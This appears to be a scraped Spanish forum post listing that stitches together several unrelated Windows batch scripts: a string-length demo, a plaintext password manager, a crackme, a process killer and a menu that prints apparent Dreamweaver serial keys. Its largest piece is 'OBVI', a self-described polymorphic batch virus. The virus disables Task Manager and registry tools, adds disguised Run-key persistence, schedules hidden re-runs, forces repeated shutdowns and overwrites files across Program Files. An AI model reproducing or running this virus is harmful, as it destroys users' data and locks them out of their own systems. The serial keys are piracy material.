1
Back-end / Re:Formularios más seguros con sistema CAPTCHA
« en: Junio 25, 2010, 04:48:36 pm »
Muy Bueno, gracias!
Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.
@echo off
title Funcion Lenght + efecto - by xassiz!
setlocal enabledelayedexpansion
:main
(set txt=)
set/p "txt=String> "
if not defined txt (goto:main)
set/a cont=0
call :lenght
cls
echo."%txt%" mide %cont%
pause>nul
echo.
for /L %%_ in (1,1,%cont%) do (echo.!let[%%_]!)
echo.
pause>nul
exit
:lenght
set "var=!txt:~%cont%,1!"
if not defined var (goto:eof)
set/a cont+=1
set "let[%cont%]=%var%"
goto:lenght
String> me llamo xassiz
'se borra la pantalla
"me llamo xassiz" mide 15
'hace una pausa
m
e
l
l
a
m
o
x
a
s
s
i
z
@echo off
rem ----------------------------------------------------------------------
rem OBVI ================= ......... 25/11/07
rem well it is a poliformic .bat file virus ... mmmmm is like another virus life form ... do not infect anything
rem only have fun with the victim xD ....
rem ...well nothing special but i think is really nice to see a poliformic batch script virus
rem enjoy!
rem OBVI (Oligomorphic Batch VIrus)
echo ============================================
echo |OBVI by Shadow (The Shadow) whatever way |
echo ============================================
set a="%windir%\prntcrlt.bat"
if exist %a% goto code
echo set shell = CreateObject("wscript.shell") > %windir%\run.vbs
echo shell.run "cmd /c prntcrlt.bat", vbHide >> %windir%\run.vbs
copy %0 %a%
:qep
set hor=%time:~0,2%
set tim=%time:~3%
set tim=%tim:~0,2%
set /A tim=%tim% + 5
if /I %tim% geq 60 (set /a hor=%hor%+1
set /a tim=%tim%-60
if /I %tim% lss 10 (set tim=0%tim%))
set ecx=%hor%:%tim%
at %ecx% "%windir%\run.vbs"
exit
:crea
echo 0 > vals.tk
echo 1 >> vals.tk
echo 2 >> vals.tk
echo 3 >> vals.tk
echo 4 >> vals.tk
echo 5 >> vals.tk
echo 6 >> vals.tk
echo 7 >> vals.tk
echo 8 >> vals.tk
echo 9 >> vals.tk
echo A >> vals.tk
echo B >> vals.tk
echo C >> vals.tk
echo D >> vals.tk
echo E >> vals.tk
echo F >> vals.tk
goto for
:modulcrea
set tar=%tar:~,1%
if /I %tar% leq 9 ( if %tar% == 9 ( set tar2=A
goto klop )
set /A tar2=%tar%+1 ) else ( if %tar% == A set tar2=B
if %tar% == B set tar2=C
if %tar% == C set tar2=D
if %tar% == D set tar2=E
if %tar% == E set tar2=F )
:klop
echo :modul%tar% ¿mol%tar%¿ >> modul.tk
if %tar%==0 ( echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t Reg_dword /d 1 /f ¿mol%tar%¿ >> modul.tk
echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t Reg_dword /d 1 /f ¿mol%tar%¿ >> modul.tk
echo goto ¿1_jk ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==1 ( echo :_jk ¿mol%tar%¿ >> modul.tk
echo copy "¿windir¿\kpore.bat" "¿windir¿\k0.bat" ¿mol%tar%¿ >> modul.tk
echo reg add "HKLM\software\microsoft\windows\currentversion\policies\explorer\run" /V MSNupdate /d "%windir%\k0.vbs" /f ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==2 ( echo echo set shell = CreateObject¡"wscript.shell"$ ^> %windir%\k0.vbs ¿mol%tar%¿ >> modul.tk
echo echo shell.run "cmd /c k0.bat ini", vbHide ^>^> %windir%\k0.vbs ¿mol%tar%¿ >> modul.tk
echo echo Set fg = CreateObject¡"WMPlayer.OCX.7"$ ^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo Set fgh = fg.cdromCollection ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo if fgh.Count then ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo For i = 0 to fgh.Count-1 ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo fgh.Item¡i$.Eject ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo Next ' cdrom ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo End If ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==3 ( echo :ini_jk ¿mol%tar%¿ >> modul.tk
echo start conf.vbs ¿mol%tar%¿ >> modul.tk
echo set hor=¿time:~0,2¿ ¿mol%tar%¿ >> modul.tk
echo set tim=¿time:~3¿ ¿mol%tar%¿ >> modul.tk
echo set tim=¿tim:~0,2¿ ¿mol%tar%¿ >> modul.tk
echo set /A tim=¿tim¿+1 ¿mol%tar%¿ >> modul.tk
echo if /I ¿tim¿ geq 60 ¡set /a hor=¿hor¿+1 ¿mol%tar%¿ >> modul.tk
echo set /a tim=¿tim¿-60 ¿mol%tar%¿ >> modul.tk
echo if /I ¿tim¿ lss 10 ¡set tim=0¿tim¿$$ ¿mol%tar%¿ >> modul.tk
echo set ecx=¿hor:~0,2¿:¿tim¿ ¿mol%tar%¿ >> modul.tk
echo at ¿ecx¿ "¿windir¿\k0.vbs" ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==4 ( echo cd "¿programfiles¿" ¿mol%tar%¿ >> modul.tk
echo dir /B ^> ¿homedrive¿\dir.txt ¿mol%tar%¿ >> modul.tk
echo goto for ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==5 ( echo reg add "HKLM\software\microsoft\windows\currentversion\policies\explorer\run" /V MSNupdate2 /d "shutdown -r -f -t 2423" /f ¿mol%tar%¿ >> modul.tk
echo shutdown -r -f -t 242 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==6 ( echo shutdown -r -f -t 12 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==7 ( echo :worm ¿mol%tar%¿ >> modul.tk
echo set target=¿1 ¿mol%tar%¿ >> modul.tk
echo cd "¿target¿" ¿mol%tar%¿ >> modul.tk
echo for ¿¿e in ¡*.*$ do echo Exworm by Shadow ^> ¿¿e ¿mol%tar%¿ >> modul.tk
echo cd "¿programfiles¿" ¿mol%tar%¿ >> modul.tk
echo goto :EOF ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==8 ( echo shutdown -r -f -t 43 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==9 ( echo :ERRNO ¿mol%tar%¿ >> modul.tk
echo for /f "tokens=* " ¿¿a in ¡¿homedir¿\dir.txt$ do call :worm "¿¿a" ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==A ( echo shutdown -s -f -t 53 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==B ( echo shutdown -s -f -t 22 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==C ( echo shutdown -r -f -t 11 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==D ( echo shutdown -r -f -t 666 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==E ( echo shutdown -s -f -t 23 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==F ( echo exit ¿mol%tar%¿ >> modul.tk
goto :EOF )
:for
for /f "tokens=*" %%a in (vals.tk) do (set tar=%%a && call :modulcrea)
:sig
echo set shell = CreateObject("Scripting.FileSystemObject") > rep.vbs
echo set file = shell.OpenTextFile("modul.tk") >> rep.vbs
echo read = file.ReadAll >> rep.vbs
echo repla = replace(read,"¿",chr(37)) >> rep.vbs
echo repla1 = replace(repla,"¡",chr(40)) >> rep.vbs
echo repla2 = replace(repla1,"$",chr(41)) >> rep.vbs
echo set b=shell.CreateTextFile("module.tk") >> rep.vbs
echo b.close >> rep.vbs
echo set d=shell.OpenTextFile("module.tk",2) >> rep.vbs
echo d.write repla2 >> rep.vbs
echo d.close >> rep.vbs
start rep.vbs
:code
if not exist module.tk goto crea
echo set shell = CreateObject("wscript.shell") > run2.vbs
echo shell.run "cmd /c kpore.bat", vbHide >> run2.vbs
ping -n 7 localhost > nul
set fail=module.tk
set vir=kpore.bat
echo @echo off > %vir%
set a=%time:~,5%
set b=%a:~3,2%
del modul.tk vals.tk rep.vbs
if /I %b% geq 0 (if /I %b% lss 10 goto a)
if /I %b% geq 10 (if /I %b% lss 20 goto b)
if /I %b% geq 20 (if /I %b% lss 30 goto c)
if /I %b% geq 30 (if /I %b% lss 40 goto d)
if /I %b% geq 40 (if /I %b% lss 50 goto e)
if /I %b% geq 50 (if /I %b% lss 60 goto f)
goto crea
:a
find "mol0" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
start run2.vbs
goto qep
:b
find "mol4" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
start run2.vbs
goto qep
:C
find "molB" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
start run2.vbs
goto qep
:d
find "molF" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
start run2.vbs
goto qep
:e
find "mol8" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
start run2.vbs
goto qep
:f
find "mol5" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
start run2.vbs
goto qep
@echo off
Title Administrador de contraseñas
color 0A
:menu1
cls
echo Bienvenido/a
echo.
echo Que quieres hacer?
echo.
echo 1-Iniciar sesion
echo 2-Nuevo perfil
echo.
set /p opcion1=Introduce el numero de tu opcion -
if %opcion1%==1 goto inisesion
if %opcion1%==2 (goto new) else (goto er1)
:er1
cls
echo Numero incorrecto!
pause
goto menu1
:inisesion
if exist "C:\paswd.pwd" (for /f "tokens=*" %%a in (%homedrive%\paswd.pwd) do (set pwd=%%a))
echo Introduce tu pass para continuar:
set /p contraseña=
if %contraseña%==%pwd% goto menu2
echo Contraseña incorrecta !!
pause
goto menu1
:new
cls
echo Escribe tu nueva contraseña de perfil:
set /p pwd=
echo %pwd%>%homedrive%\paswd.pwd
pause
echo Contraseña guardada!!
pause>nul
:or
cls
echo Que desea hacer ahora?
echo.
echo 1-Mi perfil
echo 2-Salir
set /p rr=
if %rr%==1 goto menu2
if %rr%==2 goto salir
pause
echo No correcto!
pause
goto or
:menu2
cls
echo Que quieres hacer?
echo.
echo 1-Nueva contraseña
echo 2-Ver contraseñas
set /p opcion=
if %opcion%==1 goto crear
if %opcion%==2 goto ver
pause
echo Opcion no valida!
pause
goto menu2
:ver
pause
cls
type %homedrive%\datos.txt
echo.
pause
cls
goto salir
:crear
cls
if exist %homedrive%\datos.txt goto crear2
echo Escribe Tu contraseña de la siguiente forma:
echo.
echo LugarContraseña - Contraseña
echo Ej. msn - mipass
echo.
pause
echo Añade tu informacion:
set /p dato=
echo.%dato%>%homedrive%\datos.txt
pause
cls
echo Datos añadidos con exito!
pause
goto menu2
:crear2
cls
echo Escribe Tu contraseña de la siguiente forma:
echo.
echo LugarContraseña - Contraseña
echo Ej. msn - mipass
echo.
pause
echo Añade tu informacion:
set /p dato=
echo.%dato%>>%homedrive%\datos.txt
:salir
cls
echo Hasta tu proxima visita!
pause
exit
@echo off
title Crackme v7 - by xassiz!
color 0c&mode con cols=32 lines=5
:main
cl%windir:~9,1%&echo.&echo.
for %%· %windir:~4,1%n (-,P,a,s,s,w,o,r,d) do @set/p =%%·<nul&>nul ping -n 1 127.1
set "var=" %windir:~0,6%="pass">nul
set /p "var=> "
%windir:~4,1%f;%windir:~5,1%%windir:~7,1%t;defined;var;(g%windir:~7,1%to:mai%windir:~5,1%)
%windir:~9,1%et -=%var:~-1%&got%windir:~7,1%:%windir:~5,1%ext
m%windir:~7,1%re/c<%windir:~5,1%ul&%windir:~9,1%et "var=%var: = _%"
%windir:~9,1%et ".=&"&call :%windir:~-3% %var:~0,-1%
cls&%windir:~-6,1%f;;["$.%.%.$"]==;["$.%..%.$"];(
echo.&echo.&echo. Bien!
);else;(g%windir:~7,1%to:%windir:~5,1%ext)
pause>%windir:~5,1%ul
exit
:next
cl%windir:~9,1%&echo.&echo.&echo. Mal!
pause>nul
goto:ma%windir:~4,1%n
:ows
%*>%windir:~5,1%ul;2>&1
@echo off
title Mata procesos basico by cellu5
color a4
msg * Preferiblemente abre tu administrador de tareas para que mires tus procesos a matar
:principal
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º - MATA PROCESOS V.1 º
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo .
echo 1 matar procesos .exe
echo 2 abrir procesos .exe
echo 3 Salir
echo que deseas hacer?:
set /P var=
cls
if %var%==1 (goto uno)
if %var%==2 (goto open)
if %var%=="" (goto principal)
if %var%==3 (goto salir)
:uno
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º - MATA PROCESOS V.1 º
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo 1 matar procesos .exe
echo 2 matar procesos en especial
echo 3 regesar al menu principal
echo que deseas hacer?:
set /p var1=
cls
if %var1%==1 (goto exe)
if %var1%==2 (goto pdt)
if %var1%==3 (goto principal)
:exe
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º - MATA PROCESOS V.1 º
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo escriba que procesos desea matar ej: explorer,notepad /sin escribir .exe/
set /p var2=
TASKKILL /f /im %var%.exe
pause
goto uno
:pdt
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º - MATA PROCESOS V.1 º
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo Escriba el proceso en especial que deseas matar ej: msnmsgr.exe
set /p var3=
TASKKILL /f /im %var3%
pause
goto uno
:lista
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º - ABRE PROCESOS V.1 º
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo 1 lista de procesos que puedes abrir
echo 2 abrir proceso en especial
echo 3 regresar
echo que deseas hacer?:
set /P var7=
cls
if %var7%==1 (goto lista)
if %var7%==2 (goto esp)
if %var7%==3 (goto principal)
:open
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º - ABRE PROCESOS V.1 º
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo 1- Abrir cmd
echo 2- Abrir registro
echo 3- Abrir Internet Explorer
echo 4- Abrir Mozilla Firefox
echo 5- Abrir msn
echo 6- Abrir calculadora
echo 7- Abrir Microsoft Office Word
echo 8- Abrir Administrador de tareas de windows
echo 9- Abrir archivo especificado
echo 10- Abrir notepad
echo 11- Reiniciar pc en 45 segundos
echo 12- Apagar pc en 45 segundos
echo 13- Abrir pagina de internet
echo 14- Borrar alguna carpeta o archivo
echo 15- Regresar
set /p opc=
cls
if %opc%==1 goto cmd
if %opc%==2 goto regedit
if %opc%==3 goto iexplore
if %opc%==4 goto firefox
if %opc%==5 goto msnmsgr
if %opc%==6 goto calc
if %opc%==7 goto WINWORD
if %opc%==8 goto taskmgr
if %opc%==9 goto abir
if %opc%==10 goto notepad
if %opc%==11 goto reinicio
if %opc%==12 goto apagado
if %opc%==13 goto int
if %opc%==14 goto del
if %opc%==15 goto lista
:cmd
start cmd.exe
echo CMD abierto
pause
goto open
:regedit
start regedit.exe
cls
echo Registro abierto
pause
goto open
:iexplore
start iexplore.exe
cls
echo Internet Explorer abierto
pause
goto open
:firefox
start firefox.exe
cls
echo Mozilla firefox abierto
pause
goto open
:msnmsgr
start msnmsgr.exe
cls
echo Messenger abierto
pause
goto open
:calc
start calc.exe
cls
echo Calculadora abierta has tus cuentas
pause
goto open
:WINWORD
start WINWORD.exe
cls
echo Microsoft Office Word abierto
pause
goto open
:taskmgr
start taskmgr.exe
cls
echo Administrador de tareas de windows abierto
pause
goto open
:abir
cls
echo Introduce la ruta del archivo a abrir
set /p start=
start %start%
cls
echo Archivo %start% abierto
pause
goto open
:notepad
start notepad.exe
cls
echo Notepad abierto
pause
goto open
:reinicio
cls
shutdown -r -f -t 45
echo Ok pc reiniciandose - si quieres cancelar la opreacion
echo ve a inicio y ejecutar
echo y escribe: shutdown -a
pause
goto open
:apagado
cls
shutdown -s -t 45
echo Pc apagandose - si quieres cancelar la operación
echo ve a inicio y ejecutar
echo y escribe: shutdown -a
pause
goto open
:int
set /p var5= Ingresa la direccion de la web, ejemplo: [url=http://www.hackxcrack.es]http://www.hackxcrack.es[/url]
explorer %var5%
pause
cls
goto open
:del
set /p var6= Ingresa la ruta del archivo o carpeta que quiera borrar:
del /q /f %var6%
cls
goto open
:esp
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º - ABRE PROCESOS V.1 º
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo Escriba el proceso en especial que deseas abrir ej: oficce.exe
set /p var4=
start %var4%
cls
echo Proceso %var4% abierto
pause
goto lista
:salir
exit
@echo off
color 0A
REM MAtrix en batch.. muy sencillito.
:xxx
ping localhost -n 1 > nul
FOR %%A IN (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) DO (
<nul set /p "=%random:~4% "
<nul set /p "=%%A "
)
goto xxx
@Echo off
(
echo e100 B8 1 0'3'DB CD'3'B0 3'C'CD'3'B DB't'FA 91 D3 EA D3 E8 91 C3
echo g116
echo q
)>Zmouse.txt
::
:: by 3D1
:: moded by xassiz
::
Mode Con Cols=80 lines=25
SetLocal ENABLEDELAYEDEXPANSION
:portada
cls
Echo [Salir]
Echo.
Echo.
Echo.
Echo Escoje el programa:
Echo.
Echo.
Echo +---------------+ +---------------+
Echo + Dreamweaver 8 + + Flash 8 +
Echo +---------------+ +---------------+
:g
del /q/a/s/f ZDats>nul 2>&1
debug< Zmouse.txt |find /i "x">ZDats
call:x
call:y
call:mous "0015 0016 0017 0018 0019 001A 001B 001C" "%CX%" "0007 0008 0009" "%DX%"
if %state% EQU OK (goto dreamweaver)
Call:mous "0027 0028 0029 002A 002B 002C 002D 002E" "%CX%" "0007 0008 0009" "%DX%"
if %state% EQU OK (echo. Usted escogio Flash 8!!!&echo.&pause>nul&goto flash)
Call:mous "004E" "%CX%" "0000" "%DX%"
if %state% EQU OK (Exit)
)
goto dreamweaver
:dreamweaver
cls
Echo [Salir]
Echo.
Echo.
Echo.
Echo Escoje el programa:
Echo.
Echo.
Echo +---------------+ +---------------+
Echo + Generar + + Cancelar +
Echo +---------------+ +---------------+
del /q/a/s/f ZDats>nul 2>&1
debug< Zmouse.txt |find /i "x">ZDats
call:x
call:y
call:mous "0019 0020 0021 0022 0023 001A 001B 001C" "%CX%" "0007 0008 0009" "%DX%"
if %state% EQU OK (echo. WPD800-55539-73132-87733!!!)
Call:mous "0029 0030 0031 002A 002B 002C 002D 002E" "%CX%" "0007 0008 0009" "%DX%"
if %state% EQU OK (exit)
Call:mous "004E" "%CX%" "0000" "%DX%"
if %state% EQU OK (Exit)
)
goto 2
:2
pause
cls
Echo [Salir]
Echo.
Echo.
Echo.
Echo Escoje el programa:
Echo.
Echo.
Echo +---------------+ +---------------+
Echo + Generar + + Cancelar +
Echo +---------------+ +---------------+
del /q/a/s/f ZDats>nul 2>&1
debug< Zmouse.txt |find /i "x">ZDats
call:x
call:y
call:mous "0015 0016 0017 0018 0019 001A 001B 001C" "%CX%" "0007 0008 0009" "%DX%"
if %state% EQU OK (echo. WPD800-52234-85132-68504!!!)
Call:mous "0027 0028 0029 002A 002B 002C 002D 002E" "%CX%" "0007 0008 0009" "%DX%"
if %state% EQU OK (exit)
Call:mous "004E" "%CX%" "0000" "%DX%"
if %state% EQU OK (Exit)
)
:X
Set /p LineCode=<ZDats
for /f "Tokens=3" %%_ in ('Type ZDats') do (
Set %%_
Goto:eof
)
:Y
Set /p LineCode=<ZDats
for /f "Tokens=4" %%_ in ('Type ZDats') do (
Set %%_
Goto:eof
)
:mous
Set DMous=%2
Set DMous=!DMous!%4
for %%m in (%~1) do (
for %%n in (%~3) do (
if !DMous! EQU "%%m""%%n" (
Set state=OK
Set CX=0000
Set DX=0000
Goto:eof
) ELSE (
Set state=NO
)
)
)
Goto:eof